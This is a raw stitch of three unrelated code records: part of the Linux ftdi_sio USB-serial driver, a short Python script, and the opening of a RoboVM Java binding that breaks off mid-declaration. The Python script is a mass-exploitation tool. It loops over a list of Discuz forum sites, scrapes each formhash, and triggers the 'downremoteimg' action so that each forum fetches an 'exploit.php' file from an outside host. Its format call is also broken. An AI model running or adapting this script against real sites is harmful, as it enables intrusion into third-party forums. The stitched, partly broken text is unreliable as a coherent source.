rv;\n\n\tdev_dbg(&port->dev, \"%s: setting event char = %i\\n\", __func__, v);\n\n\trv = usb_control_msg(udev,\n\t\t\t usb_sndctrlpipe(udev, 0),\n\t\t\t FTDI_SIO_SET_EVENT_CHAR_REQUEST,\n\t\t\t FTDI_SIO_SET_EVENT_CHAR_REQUEST_TYPE,\n\t\t\t v, priv->interface,\n\t\t\t NULL, 0, WDR_TIMEOUT);\n\tif (rv < 0) {\n\t\tdev_dbg(&port->dev, \"Unable to write event character: %i\\n\", rv);\n\t\treturn -EIO;\n\t}\n\n\treturn count;\n}\nstatic DEVICE_ATTR(event_char, S_IWUSR, NULL, store_event_char);\n\nstatic int create_sysfs_attrs(struct usb_serial_port *port)\n{\n\tstruct ftdi_private *priv = usb_get_serial_port_data(port);\n\tint retval = 0;\n\n\t/* XXX I've no idea if the original SIO supports the event_char\n\t * sysfs parameter, so I'm playing it safe. */\n\tif (priv->chip_type != SIO) {\n\t\tdev_dbg(&port->dev, \"sysfs attributes for %s\\n\", ftdi_chip_name[priv->chip_type]);\n\t\tretval = device_create_file(&port->dev, &dev_attr_event_char);\n\t\tif ((!retval) &&\n\t\t (priv->chip_type == FT232BM ||\n\t\t priv->chip_type == FT2232C ||\n\t\t priv->chip_type == FT232RL ||\n\t\t priv->chip_type == FT2232H ||\n\t\t priv->chip_type == FT4232H ||\n\t\t priv->chip_type == FT232H ||\n\t\t priv->chip_type == FTX)) {\n\t\t\tretval = device_create_file(&port->dev,\n\t\t\t\t\t\t &dev_attr_latency_timer);\n\t\t}\n\t}\n\treturn retval;\n}\n\nstatic void remove_sysfs_attrs(struct usb_serial_port *port)\n{\n\tstruct ftdi_private *priv = usb_get_serial_port_data(port);\n\n\t/* XXX see create_sysfs_attrs */\n\tif (priv->chip_type != SIO) {\n\t\tdevice_remove_file(&port->dev, &dev_attr_event_char);\n\t\tif (priv->chip_type == FT232BM ||\n\t\t priv->chip_type == FT2232C ||\n\t\t priv->chip_type == FT232RL ||\n\t\t priv->chip_type == FT2232H ||\n\t\t priv->chip_type == FT4232H ||\n\t\t priv->chip_type == FT232H ||\n\t\t priv->chip_type == FTX) {\n\t\t\tdevice_remove_file(&port->dev, &dev_attr_latency_timer);\n\t\t}\n\t}\n\n}\n\n/*\n * ***************************************************************************\n * FTDI driver specific functions\n * ***************************************************************************\n */\n\n/* Probe function to check for special devices */\nstatic int ftdi_sio_probe(struct usb_serial *serial,\n\t\t\t\t\tconst struct usb_device_id *id)\n{\n\tstruct ftdi_sio_quirk *quirk =\n\t\t\t\t(struct ftdi_sio_quirk *)id->driver_info;\n\n\tif (quirk && quirk->probe) {\n\t\tint ret = quirk->probe(serial);\n\t\tif (ret != 0)\n\t\t\treturn ret;\n\t}\n\n\tusb_set_serial_data(serial, (void *)id->driver_info);\n\n\treturn 0;\n}\n\nstatic int ftdi_sio_port_probe(struct usb_serial_port *port)\n{\n\tstruct ftdi_private *priv;\n\tstruct ftdi_sio_quirk *quirk = usb_get_serial_data(port->serial);\n\n\n\tpriv = kzalloc(sizeof(struct ftdi_private), GFP_KERNEL);\n\tif (!priv)\n\t\treturn -ENOMEM;\n\n\tmutex_init(&priv->cfg_lock);\n\n\tif (quirk && quirk->port_probe)\n\t\tquirk->port_probe(priv);\n\n\tusb_set_serial_port_data(port, priv);\n\n\tftdi_determine_type(port);\n\tftdi_set_max_packet_size(port);\n\tif (read_latency_timer(port) < 0)\n\t\tpriv->latency = 16;\n\twrite_latency_timer(port);\n\tcreate_sysfs_attrs(port);\n\treturn 0;\n}\n\n/* Setup for the USB-UIRT device, which requires hardwired\n * baudrate (38400 gets mapped to 312500) */\n/* Called from usbserial:serial_probe */\nstatic void ftdi_USB_UIRT_setup(struct ftdi_private *priv)\n{\n\tpriv->flags |= ASYNC_SPD_CUST;\n\tpriv->custom_divisor = 77;\n\tpriv->force_baud = 38400;\n}\n\n/* Setup for the HE-TIRA1 device, which requires hardwired\n * baudrate (38400 gets mapped to 100000) and RTS-CTS enabled. */\n\nstatic void ftdi_HE_TIRA1_setup(struct ftdi_private *priv)\n{\n\tpriv->flags |= ASYNC_SPD_CUST;\n\tpriv->custom_divisor = 240;\n\tpriv->force_baud = 38400;\n\tpriv->force_rtscts = 1;\n}\n\n/*\n * Module parameter to control latency timer for NDI FTDI-based USB devices.\n * If this value is not set in /etc/modprobe.d/ its value will be set\n * to 1ms.\n */\nstatic int ndi_latency_timer = 1;\n\n/* Setup for the NDI FTDI-based USB devices, which requires hardwired\n * baudrate (19200 gets mapped to 1200000).\n *\n * Called from usbserial:serial_probe.\n */\nstatic int ftdi_NDI_device_setup(struct usb_serial *serial)\n{\n\tstruct usb_device *udev = serial->dev;\n\tint latency = ndi_latency_timer;\n\n\tif (latency == 0)\n\t\tlatency = 1;\n\tif (latency > 99)\n\t\tlatency = 99;\n\n\tdev_dbg(&udev->dev, \"%s setting NDI device latency to %d\\n\", __func__, latency);\n\tdev_info(&udev->dev, \"NDI device with a latency value of %d\\n\", latency);\n\n\t/* FIXME: errors are not returned */\n\tusb_control_msg(udev, usb_sndctrlpipe(udev, 0),\n\t\t\t\tFTDI_SIO_SET_LATENCY_TIMER_REQUEST,\n\t\t\t\tFTDI_SIO_SET_LATENCY_TIMER_REQUEST_TYPE,\n\t\t\t\tlatency, 0, NULL, 0, WDR_TIMEOUT);\n\treturn 0;\n}\n\n/*\n * First port on JTAG adaptors such as Olimex arm-usb-ocd or the FIC/OpenMoko\n * Neo1973 Debug Board is reserved for JTAG interface and can be accessed from\n * userspace using openocd.\n */\nstatic int ftdi_jtag_probe(struct usb_serial *serial)\n{\n\tstruct usb_device *udev = serial->dev;\n\tstruct usb_interface *interface = serial->interface;\n\n\tif (interface == udev->actconfig->interface[0]) {\n\t\tdev_info(&udev->dev,\n\t\t\t \"Ignoring serial port reserved for JTAG\\n\");\n\t\treturn -ENODEV;\n\t}\n\n\treturn 0;\n}\n\nstatic int ftdi_8u2232c_probe(struct usb_serial *serial)\n{\n\tstruct usb_device *udev = serial->dev;\n\n\tif (udev->manufacturer && !strcmp(udev->manufacturer, \"CALAO Systems\"))\n\t\treturn ftdi_jtag_probe(serial);\n\n\tif (udev->product &&\n\t\t(!strcmp(udev->product, \"Arrow USB Blaster\") ||\n\t\t !strcmp(udev->product, \"BeagleBone/XDS100V2\") ||\n\t\t !strcmp(udev->product, \"SNAP Connect E10\")))\n\t\treturn ftdi_jtag_probe(serial);\n\n\treturn 0;\n}\n\n/*\n * First two ports on JTAG adaptors using an FT4232 such as STMicroelectronics's\n * ST Micro Connect Lite are reserved for JTAG or other non-UART interfaces and\n * can be accessed from userspace.\n * The next two ports are enabled as UARTs by default, where port 2 is\n * a conventional RS-232 UART.\n */\nstatic int ftdi_stmclite_probe(struct usb_serial *serial)\n{\n\tstruct usb_device *udev = serial->dev;\n\tstruct usb_interface *interface = serial->interface;\n\n\tif (interface == udev->actconfig->interface[0] ||\n\t interface == udev->actconfig->interface[1]) {\n\t\tdev_info(&udev->dev, \"Ignoring serial port reserved for JTAG\\n\");\n\t\treturn -ENODEV;\n\t}\n\n\treturn 0;\n}\n\nstatic int ftdi_sio_port_remove(struct usb_serial_port *port)\n{\n\tstruct ftdi_private *priv = usb_get_serial_port_data(port);\n\n\tremove_sysfs_attrs(port);\n\n\tkfree(priv);\n\n\treturn 0;\n}\n\nstatic int ftdi_open(struct tty_struct *tty, struct usb_serial_port *port)\n{\n\tstruct usb_device *dev = port->serial->dev;\n\tstruct ftdi_private *priv = usb_get_serial_port_data(port);\n\n\t/* No error checking for this (will get errors later anyway) */\n\t/* See ftdi_sio.h for description of what is reset */\n\tusb_control_msg(dev, usb_sndctrlpipe(dev, 0),\n\t\t\tFTDI_SIO_RESET_REQUEST, FTDI_SIO_RESET_REQUEST_TYPE,\n\t\t\tFTDI_SIO_RESET_SIO,\n\t\t\tpriv->interface, NULL, 0, WDR_TIMEOUT);\n\n\t/* Termios defaults are set by usb_serial_init. We don't change\n\t port->tty->termios - this would lose speed settings, etc.\n\t This is same behaviour as serial.c/rs_open() - Kuba */\n\n\t/* ftdi_set_termios will send usb control messages */\n\tif (tty)\n\t\tftdi_set_termios(tty, port, NULL);\n\n\treturn usb_serial_generic_open(tty, port);\n}\n\nstatic void ftdi_dtr_rts(struct usb_serial_port *port, int on)\n{\n\tstruct ftdi_private *priv = usb_get_serial_port_data(port);\n\n\t/* Disable flow control */\n\tif (!on) {\n\t\tif (usb_control_msg(port->serial->dev,\n\t\t\t usb_sndctrlpipe(port->serial->dev, 0),\n\t\t\t FTDI_SIO_SET_FLOW_CTRL_REQUEST,\n\t\t\t FTDI_SIO_SET_FLOW_CTRL_REQUEST_TYPE,\n\t\t\t 0, priv->interface, NULL, 0,\n\t\t\t WDR_TIMEOUT) < 0) {\n\t\t\tdev_err(&port->dev, \"error from flowcontrol urb\\n\");\n\t\t}\n\t}\n\t/* drop RTS and DTR */\n\tif (on)\n\t\tset_mctrl(port, TIOCM_DTR | TIOCM_RTS);\n\telse\n\t\tclear_mctrl(port, TIOCM_DTR | TIOCM_RTS);\n}\n\n/* The SIO requires the first byte to have:\n * B0 1\n * B1 0\n * B2..7 length of message excluding byte 0\n *\n * The new devices do not require this byte\n */\nstatic int ftdi_prepare_write_buffer(struct usb_serial_port *port,\n\t\t\t\t\t\tvoid *dest, size_t size)\n{\n\tstruct ftdi_private *priv;\n\tint count;\n\tunsigned long flags;\n\n\tpriv = usb_get_serial_port_data(port);\n\n\tif (priv->chip_type == SIO) {\n\t\tunsigned char *buffer = dest;\n\t\tint i, len, c;\n\n\t\tcount = 0;\n\t\tspin_lock_irqsave(&port->lock, flags);\n\t\tfor (i = 0; i < size - 1; i += priv->max_packet_size) {\n\t\t\tlen = min_t(int, size - i, priv->max_packet_size) - 1;\n\t\t\tc = kfifo_out(&port->write_fifo, &buffer[i + 1], len);\n\t\t\tif (!c)\n\t\t\t\tbreak;\n\t\t\tport->icount.tx += c;\n\t\t\tbuffer[i] = (c << 2) + 1;\n\t\t\tcount += c + 1;\n\t\t}\n\t\tspin_unlock_irqrestore(&port->lock, flags);\n\t} else {\n\t\tcount = kfifo_out_locked(&port->write_fifo, dest, size,\n\t\t\t\t\t\t\t\t&port->lock);\n\t\tport->icount.tx += count;\n\t}\n\n\treturn count;\n}\n\n#define FTDI_RS_ERR_MASK (FTDI_RS_BI | FTDI_RS_PE | FTDI_RS_FE | FTDI_RS_OE)\n\nstatic int ftdi_process_packet(struct usb_serial_port *port,\n\t\tstruct ftdi_private *priv, char *packet, int len)\n{\n\tint i;\n\tchar status;\n\tchar flag;\n\tchar *ch;\n\n\tif (len < 2) {\n\t\tdev_dbg(&port->dev, \"malformed packet\\n\");\n\t\treturn 0;\n\t}\n\n\t/* Compare new line status to the old one, signal if different/\n\t N.B. packet may be processed more than once, but differences\n\t are only processed once. */\n\tstatus = packet[0] & FTDI_STATUS_B0_MASK;\n\tif (status != priv->prev_status) {\n\t\tchar diff_status = status ^ priv->prev_status;\n\n\t\tif (diff_status & FTDI_RS0_CTS)\n\t\t\tport->icount.cts++;\n\t\tif (diff_status & FTDI_RS0_DSR)\n\t\t\tport->icount.dsr++;\n\t\tif (diff_status & FTDI_RS0_RI)\n\t\t\tport->icount.rng++;\n\t\tif (diff_status & FTDI_RS0_RLSD) {\n\t\t\tstruct tty_struct *tty;\n\n\t\t\tport->icount.dcd++;\n\t\t\ttty = tty_port_tty_get(&port->port);\n\t\t\tif (tty)\n\t\t\t\tusb_serial_handle_dcd_change(port, tty,\n\t\t\t\t\t\tstatus & FTDI_RS0_RLSD);\n\t\t\ttty_kref_put(tty);\n\t\t}\n\n\t\twake_up_interruptible(&port->port.delta_msr_wait);\n\t\tpriv->prev_status = status;\n\t}\n\n\t/* save if the transmitter is empty or not */\n\tif (packet[1] & FTDI_RS_TEMT)\n\t\tpriv->transmit_empty = 1;\n\telse\n\t\tpriv->transmit_empty = 0;\n\n\tlen -= 2;\n\tif (!len)\n\t\treturn 0;\t/* status only */\n\n\t/*\n\t * Break and error status must only be processed for packets with\n\t * data payload to avoid over-reporting.\n\t */\n\tflag = TTY_NORMAL;\n\tif (packet[1] & FTDI_RS_ERR_MASK) {\n\t\t/* Break takes precedence over parity, which takes precedence\n\t\t * over framing errors */\n\t\tif (packet[1] & FTDI_RS_BI) {\n\t\t\tflag = TTY_BREAK;\n\t\t\tport->icount.brk++;\n\t\t\tusb_serial_handle_break(port);\n\t\t} else if (packet[1] & FTDI_RS_PE) {\n\t\t\tflag = TTY_PARITY;\n\t\t\tport->icount.parity++;\n\t\t} else if (packet[1] & FTDI_RS_FE) {\n\t\t\tflag = TTY_FRAME;\n\t\t\tport->icount.frame++;\n\t\t}\n\t\t/* Overrun is special, not associated with a char */\n\t\tif (packet[1] & FTDI_RS_OE) {\n\t\t\tport->icount.overrun++;\n\t\t\ttty_insert_flip_char(&port->port, 0, TTY_OVERRUN);\n\t\t}\n\t}\n\n\tport->icount.rx += len;\n\tch = packet + 2;\n\n\tif (port->port.console && port->sysrq) {\n\t\tfor (i = 0; i < len; i++, ch++) {\n\t\t\tif (!usb_serial_handle_sysrq_char(port, *ch))\n\t\t\t\ttty_insert_flip_char(&port->port, *ch, flag);\n\t\t}\n\t} else {\n\t\ttty_insert_flip_string_fixed_flag(&port->port, ch, flag, len);\n\t}\n\n\treturn len;\n}\n\nstatic void ftdi_process_read_urb(struct urb *urb)\n{\n\tstruct usb_serial_port *port = urb->context;\n\tstruct ftdi_private *priv = usb_get_serial_port_data(port);\n\tchar *data = (char *)urb->transfer_buffer;\n\tint i;\n\tint len;\n\tint count = 0;\n\n\tfor (i = 0; i < urb->actual_length; i += priv->max_packet_size) {\n\t\tlen = min_t(int, urb->actual_length - i, priv->max_packet_size);\n\t\tcount += ftdi_process_packet(port, priv, &data[i], len);\n\t}\n\n\tif (count)\n\t\ttty_flip_buffer_push(&port->port);\n}\n\nstatic void ftdi_break_ctl(struct tty_struct *tty, int break_state)\n{\n\tstruct usb_serial_port *port = tty->driver_data;\n\tstruct ftdi_private *priv = usb_get_serial_port_data(port);\n\t__u16 urb_value;\n\n\t/* break_state = -1 to turn on break, and 0 to turn off break */\n\t/* see drivers/char/tty_io.c to see it used */\n\t/* last_set_data_urb_value NEVER has the break bit set in it */\n\n\tif (break_state)\n\t\turb_value = priv->last_set_data_urb_value | FTDI_SIO_SET_BREAK;\n\telse\n\t\turb_value = priv->last_set_data_urb_value;\n\n\tif (usb_control_msg(port->serial->dev,\n\t\t\tusb_sndctrlpipe(port->serial->dev, 0),\n\t\t\tFTDI_SIO_SET_DATA_REQUEST,\n\t\t\tFTDI_SIO_SET_DATA_REQUEST_TYPE,\n\t\t\turb_value , priv->interface,\n\t\t\tNULL, 0, WDR_TIMEOUT) < 0) {\n\t\tdev_err(&port->dev, \"%s FAILED to enable/disable break state (state was %d)\\n\",\n\t\t\t__func__, break_state);\n\t}\n\n\tdev_dbg(&port->dev, \"%s break state is %d - urb is %d\\n\", __func__,\n\t\tbreak_state, urb_value);\n\n}\n\nstatic bool ftdi_tx_empty(struct usb_serial_port *port)\n{\n\tunsigned char buf[2];\n\tint ret;\n\n\tret = ftdi_get_modem_status(port, buf);\n\tif (ret == 2) {\n\t\tif (!(buf[1] & FTDI_RS_TEMT))\n\t\t\treturn false;\n\t}\n\n\treturn true;\n}\n\n/* old_termios contains the original termios settings and tty->termios contains\n * the new setting to be used\n * WARNING: set_termios calls this with old_termios in kernel space\n */\nstatic void ftdi_set_termios(struct tty_struct *tty,\n\t\tstruct usb_serial_port *port, struct ktermios *old_termios)\n{\n\tstruct usb_device *dev = port->serial->dev;\n\tstruct device *ddev = &port->dev;\n\tstruct ftdi_private *priv = usb_get_serial_port_data(port);\n\tstruct ktermios *termios = &tty->termios;\n\tunsigned int cflag = termios->c_cflag;\n\t__u16 urb_value; /* will hold the new flags */\n\n\t/* Added for xon/xoff support */\n\tunsigned int iflag = termios->c_iflag;\n\tunsigned char vstop;\n\tunsigned char vstart;\n\n\t/* Force baud rate if this device requires it, unless it is set to\n\t B0. */\n\tif (priv->force_baud && ((termios->c_cflag & CBAUD) != B0)) {\n\t\tdev_dbg(ddev, \"%s: forcing baud rate for this device\\n\", __func__);\n\t\ttty_encode_baud_rate(tty, priv->force_baud,\n\t\t\t\t\tpriv->force_baud);\n\t}\n\n\t/* Force RTS-CTS if this device requires it. */\n\tif (priv->force_rtscts) {\n\t\tdev_dbg(ddev, \"%s: forcing rtscts for this device\\n\", __func__);\n\t\ttermios->c_cflag |= CRTSCTS;\n\t}\n\n\t/*\n\t * All FTDI UART chips are limited to CS7/8. We shouldn't pretend to\n\t * support CS5/6 and revert the CSIZE setting instead.\n\t *\n\t * CS5 however is used to control some smartcard readers which abuse\n\t * this limitation to switch modes. Original FTDI chips fall back to\n\t * eight data bits.\n\t *\n\t * TODO: Implement a quirk to only allow this with mentioned\n\t * readers. One I know of (Argolis Smartreader V1)\n\t * returns \"USB smartcard server\" as iInterface string.\n\t * The vendor didn't bother with a custom VID/PID of\n\t * course.\n\t */\n\tif (C_CSIZE(tty) == CS6) {\n\t\tdev_warn(ddev, \"requested CSIZE setting not supported\\n\");\n\n\t\ttermios->c_cflag &= ~CSIZE;\n\t\tif (old_termios)\n\t\t\ttermios->c_cflag |= old_termios->c_cflag & CSIZE;\n\t\telse\n\t\t\ttermios->c_cflag |= CS8;\n\t}\n\n\tcflag = termios->c_cflag;\n\n\tif (!old_termios)\n\t\tgoto no_skip;\n\n\tif (old_termios->c_cflag == termios->c_cflag\n\t && old_termios->c_ispeed == termios->c_ispeed\n\t && old_termios->c_ospeed == termios->c_ospeed)\n\t\tgoto no_c_cflag_changes;\n\n\t/* NOTE These routines can get interrupted by\n\t ftdi_sio_read_bulk_callback - need to examine what this means -\n\t don't see any problems yet */\n\n\tif ((old_termios->c_cflag & (CSIZE|PARODD|PARENB|CMSPAR|CSTOPB)) ==\n\t (termios->c_cflag & (CSIZE|PARODD|PARENB|CMSPAR|CSTOPB)))\n\t\tgoto no_data_parity_stop_changes;\n\nno_skip:\n\t/* Set number of data bits, parity, stop bits */\n\n\turb_value = 0;\n\turb_value |= (cflag & CSTOPB ? FTDI_SIO_SET_DATA_STOP_BITS_2 :\n\t\t FTDI_SIO_SET_DATA_STOP_BITS_1);\n\tif (cflag & PARENB) {\n\t\tif (cflag & CMSPAR)\n\t\t\turb_value |= cflag & PARODD ?\n\t\t\t\t FTDI_SIO_SET_DATA_PARITY_MARK :\n\t\t\t\t FTDI_SIO_SET_DATA_PARITY_SPACE;\n\t\telse\n\t\t\turb_value |= cflag & PARODD ?\n\t\t\t\t FTDI_SIO_SET_DATA_PARITY_ODD :\n\t\t\t\t FTDI_SIO_SET_DATA_PARITY_EVEN;\n\t} else {\n\t\turb_value |= FTDI_SIO_SET_DATA_PARITY_NONE;\n\t}\n\tswitch (cflag & CSIZE) {\n\tcase CS5:\n\t\tdev_dbg(ddev, \"Setting CS5 quirk\\n\");\n\t\tbreak;\n\tcase CS7:\n\t\turb_value |= 7;\n\t\tdev_dbg(ddev, \"Setting CS7\\n\");\n\t\tbreak;\n\tdefault:\n\tcase CS8:\n\t\turb_value |= 8;\n\t\tdev_dbg(ddev, \"Setting CS8\\n\");\n\t\tbreak;\n\t}\n\n\t/* This is needed by the break command since it uses the same command\n\t - but is or'ed with this value */\n\tpriv->last_set_data_urb_value = urb_value;\n\n\tif (usb_control_msg(dev, usb_sndctrlpipe(dev, 0),\n\t\t\t FTDI_SIO_SET_DATA_REQUEST,\n\t\t\t FTDI_SIO_SET_DATA_REQUEST_TYPE,\n\t\t\t urb_value , priv->interface,\n\t\t\t NULL, 0, WDR_SHORT_TIMEOUT) < 0) {\n\t\tdev_err(ddev, \"%s FAILED to set databits/stopbits/parity\\n\",\n\t\t\t__func__);\n\t}\n\n\t/* Now do the baudrate */\nno_data_parity_stop_changes:\n\tif ((cflag & CBAUD) == B0) {\n\t\t/* Disable flow control */\n\t\tif (usb_control_msg(dev, usb_sndctrlpipe(dev, 0),\n\t\t\t\t FTDI_SIO_SET_FLOW_CTRL_REQUEST,\n\t\t\t\t FTDI_SIO_SET_FLOW_CTRL_REQUEST_TYPE,\n\t\t\t\t 0, priv->interface,\n\t\t\t\t NULL, 0, WDR_TIMEOUT) < 0) {\n\t\t\tdev_err(ddev, \"%s error from disable flowcontrol urb\\n\",\n\t\t\t\t__func__);\n\t\t}\n\t\t/* Drop RTS and DTR */\n\t\tclear_mctrl(port, TIOCM_DTR | TIOCM_RTS);\n\t} else {\n\t\t/* set the baudrate determined before */\n\t\tmutex_lock(&priv->cfg_lock);\n\t\tif (change_speed(tty, port))\n\t\t\tdev_err(ddev, \"%s urb failed to set baudrate\\n\", __func__);\n\t\tmutex_unlock(&priv->cfg_lock);\n\t\t/* Ensure RTS and DTR are raised when baudrate changed from 0 */\n\t\tif (old_termios && (old_termios->c_cflag & CBAUD) == B0)\n\t\t\tset_mctrl(port, TIOCM_DTR | TIOCM_RTS);\n\t}\n\n\t/* Set flow control */\n\t/* Note device also supports DTR/CD (ugh) and Xon/Xoff in hardware */\nno_c_cflag_changes:\n\tif (cflag & CRTSCTS) {\n\t\tdev_dbg(ddev, \"%s Setting to CRTSCTS flow control\\n\", __func__);\n\t\tif (usb_control_msg(dev,\n\t\t\t\t usb_sndctrlpipe(dev, 0),\n\t\t\t\t FTDI_SIO_SET_FLOW_CTRL_REQUEST,\n\t\t\t\t FTDI_SIO_SET_FLOW_CTRL_REQUEST_TYPE,\n\t\t\t\t 0 , (FTDI_SIO_RTS_CTS_HS | priv->interface),\n\t\t\t\t NULL, 0, WDR_TIMEOUT) < 0) {\n\t\t\tdev_err(ddev, \"urb failed to set to rts/cts flow control\\n\");\n\t\t}\n\t} else {\n\t\t/*\n\t\t * Xon/Xoff code\n\t\t *\n\t\t * Check the IXOFF status in the iflag component of the\n\t\t * termios structure. If IXOFF is not set, the pre-xon/xoff\n\t\t * code is executed.\n\t\t */\n\t\tif (iflag & IXOFF) {\n\t\t\tdev_dbg(ddev, \"%s request to enable xonxoff iflag=%04x\\n\",\n\t\t\t\t__func__, iflag);\n\t\t\t/* Try to enable the XON/XOFF on the ftdi_sio\n\t\t\t * Set the vstart and vstop -- could have been done up\n\t\t\t * above where a lot of other dereferencing is done but\n\t\t\t * that would be very inefficient as vstart and vstop\n\t\t\t * are not always needed.\n\t\t\t */\n\t\t\tvstart = termios->c_cc[VSTART];\n\t\t\tvstop = termios->c_cc[VSTOP];\n\t\t\turb_value = (vstop << 8) | (vstart);\n\n\t\t\tif (usb_control_msg(dev,\n\t\t\t\t\t usb_sndctrlpipe(dev, 0),\n\t\t\t\t\t FTDI_SIO_SET_FLOW_CTRL_REQUEST,\n\t\t\t\t\t FTDI_SIO_SET_FLOW_CTRL_REQUEST_TYPE,\n\t\t\t\t\t urb_value , (FTDI_SIO_XON_XOFF_HS\n\t\t\t\t\t\t\t | priv->interface),\n\t\t\t\t\t NULL, 0, WDR_TIMEOUT) < 0) {\n\t\t\t\tdev_err(&port->dev, \"urb failed to set to \"\n\t\t\t\t\t\"xon/xoff flow control\\n\");\n\t\t\t}\n\t\t} else {\n\t\t\t/* else clause to only run if cflag ! CRTSCTS and iflag\n\t\t\t * ! XOFF. CHECKME Assuming XON/XOFF handled by tty\n\t\t\t * stack - not by device */\n\t\t\tdev_dbg(ddev, \"%s Turning off hardware flow control\\n\", __func__);\n\t\t\tif (usb_control_msg(dev,\n\t\t\t\t\t usb_sndctrlpipe(dev, 0),\n\t\t\t\t\t FTDI_SIO_SET_FLOW_CTRL_REQUEST,\n\t\t\t\t\t FTDI_SIO_SET_FLOW_CTRL_REQUEST_TYPE,\n\t\t\t\t\t 0, priv->interface,\n\t\t\t\t\t NULL, 0, WDR_TIMEOUT) < 0) {\n\t\t\t\tdev_err(ddev, \"urb failed to clear flow control\\n\");\n\t\t\t}\n\t\t}\n\t}\n}\n\n/*\n * Get modem-control status.\n *\n * Returns the number of status bytes retrieved (device dependant), or\n * negative error code.\n */\nstatic int ftdi_get_modem_status(struct usb_serial_port *port,\n\t\t\t\t\t\tunsigned char status[2])\n{\n\tstruct ftdi_private *priv = usb_get_serial_port_data(port);\n\tunsigned char *buf;\n\tint len;\n\tint ret;\n\n\tbuf = kmalloc(2, GFP_KERNEL);\n\tif (!buf)\n\t\treturn -ENOMEM;\n\t/*\n\t * The 8U232AM returns a two byte value (the SIO a 1 byte value) in\n\t * the same format as the data returned from the in point.\n\t */\n\tswitch (priv->chip_type) {\n\tcase SIO:\n\t\tlen = 1;\n\t\tbreak;\n\tcase FT8U232AM:\n\tcase FT232BM:\n\tcase FT2232C:\n\tcase FT232RL:\n\tcase FT2232H:\n\tcase FT4232H:\n\tcase FT232H:\n\tcase FTX:\n\t\tlen = 2;\n\t\tbreak;\n\tdefault:\n\t\tret = -EFAULT;\n\t\tgoto out;\n\t}\n\n\tret = usb_control_msg(port->serial->dev,\n\t\t\tusb_rcvctrlpipe(port->serial->dev, 0),\n\t\t\tFTDI_SIO_GET_MODEM_STATUS_REQUEST,\n\t\t\tFTDI_SIO_GET_MODEM_STATUS_REQUEST_TYPE,\n\t\t\t0, priv->interface,\n\t\t\tbuf, len, WDR_TIMEOUT);\n\n\t/* NOTE: We allow short responses and handle that below. */\n\tif (ret < 1) {\n\t\tdev_err(&port->dev, \"failed to get modem status: %d\\n\", ret);\n\t\tif (ret >= 0)\n\t\t\tret = -EIO;\n\t\tret = usb_translate_errors(ret);\n\t\tgoto out;\n\t}\n\n\tstatus[0] = buf[0];\n\tif (ret > 1)\n\t\tstatus[1] = buf[1];\n\telse\n\t\tstatus[1] = 0;\n\n\tdev_dbg(&port->dev, \"%s - 0x%02x%02x\\n\", __func__, status[0],\n\t\t\t\t\t\t\t\tstatus[1]);\nout:\n\tkfree(buf);\n\n\treturn ret;\n}\n\nstatic int ftdi_tiocmget(struct tty_struct *tty)\n{\n\tstruct usb_serial_port *port = tty->driver_data;\n\tstruct ftdi_private *priv = usb_get_serial_port_data(port);\n\tunsigned char buf[2];\n\tint ret;\n\n\tret = ftdi_get_modem_status(port, buf);\n\tif (ret < 0)\n\t\treturn ret;\n\n\tret =\t(buf[0] & FTDI_SIO_DSR_MASK ? TIOCM_DSR : 0) |\n\t\t(buf[0] & FTDI_SIO_CTS_MASK ? TIOCM_CTS : 0) |\n\t\t(buf[0] & FTDI_SIO_RI_MASK ? TIOCM_RI : 0) |\n\t\t(buf[0] & FTDI_SIO_RLSD_MASK ? TIOCM_CD : 0) |\n\t\tpriv->last_dtr_rts;\n\n\treturn ret;\n}\n\nstatic int ftdi_tiocmset(struct tty_struct *tty,\n\t\t\tunsigned int set, unsigned int clear)\n{\n\tstruct usb_serial_port *port = tty->driver_data;\n\n\treturn update_mctrl(port, set, clear);\n}\n\nstatic int ftdi_ioctl(struct tty_struct *tty,\n\t\t\t\t\tunsigned int cmd, unsigned long arg)\n{\n\tstruct usb_serial_port *port = tty->driver_data;\n\n\t/* Based on code from acm.c and others */\n\tswitch (cmd) {\n\n\tcase TIOCGSERIAL: /* gets serial port data */\n\t\treturn get_serial_info(port,\n\t\t\t\t\t(struct serial_struct __user *) arg);\n\n\tcase TIOCSSERIAL: /* sets serial port data */\n\t\treturn set_serial_info(tty, port,\n\t\t\t\t\t(struct serial_struct __user *) arg);\n\tcase TIOCSERGETLSR:\n\t\treturn get_lsr_info(port, (struct serial_struct __user *)arg);\n\t\tbreak;\n\tdefault:\n\t\tbreak;\n\t}\n\n\treturn -ENOIOCTLCMD;\n}\n\nmodule_usb_serial_driver(serial_drivers, id_table_combined);\n\nMODULE_AUTHOR(DRIVER_AUTHOR);\nMODULE_DESCRIPTION(DRIVER_DESC);\nMODULE_LICENSE(\"GPL\");\n\nmodule_param(ndi_latency_timer, int, S_IRUGO | S_IWUSR);\nMODULE_PARM_DESC(ndi_latency_timer, \"NDI device latency timer override\");\n"} -{"text": "#!/usr/bin/env python\n# encoding: utf-8\nimport urlparse\nimport random\nimport time\nimport re\nimport requests\n#from utils.fileutils import FileUtils\nimport requests.packages.urllib3\nrequests.packages.urllib3.disable_warnings()\n\nfobj = open('discuz.txt','r')\nfor website in fobj:\n request = requests.session()\n try:\n forumurl = \"{website}/forum.php\".format(website=website)\n response = request.get(forumurl, timeout=5, verify=False)\n formhash = re.findall(r'formhash\" value=\"(.*?)\"',response.content)\n netloc = urlparse.urlparse(website).netloc\n payload = 'http://www.catssec.com/exp/exploit.php'.format(netloc=netloc)\n url = \"{website}/forum.php?mod=ajax&action=downremoteimg&formhash={formhash}&message=[img]{payload}[/img]\".format(\n website=website,\n payload=payload)\n response = request.get(url, timeout=5, verify=False)\n #print url, len(response.content)\n except Exception, e:\n print website, e\n"} -{"text": "*/\nimport java.io.*;\nimport java.nio.*;\nimport java.util.*;\nimport org.robovm.objc.*;\nimport org.robovm.objc.annotation.*;\nimport org.robovm.objc.block.*;\nimport org.robovm.rt.*;\nimport org.robovm.rt.annotation.*;\nimport org.robovm.rt.bro.*;\nimport org.robovm.rt.bro.annotation.*;\nimport org.robovm.rt.bro.ptr.*;\nimport org.robovm.apple.corefoundation.*;\nimport org.robovm.apple.uikit.*;\nimport org.robovm.apple.coretext.*;\nimport org.robovm.apple.coreanimation.*;\nimport org.robovm.apple.coredata.*;\nimport org.robovm.apple.coregraphics.*;\nimport org.robovm.apple.coremedia.*;\nimport org.robovm.apple.security.*;\nimport org.robovm.apple.dispatch.*;\n/**/\nimport org.robovm.rt.annotation.WeaklyLinked;\nimport org.robovm.apple.newsstandkit.NKAssetDownload;\n\n/**/\n\n/**/\n/**/@Library(\"Foundation\") @NativeClass/**/\n/**/public/**/ class /**/NSURLConnection/**/ \n extends 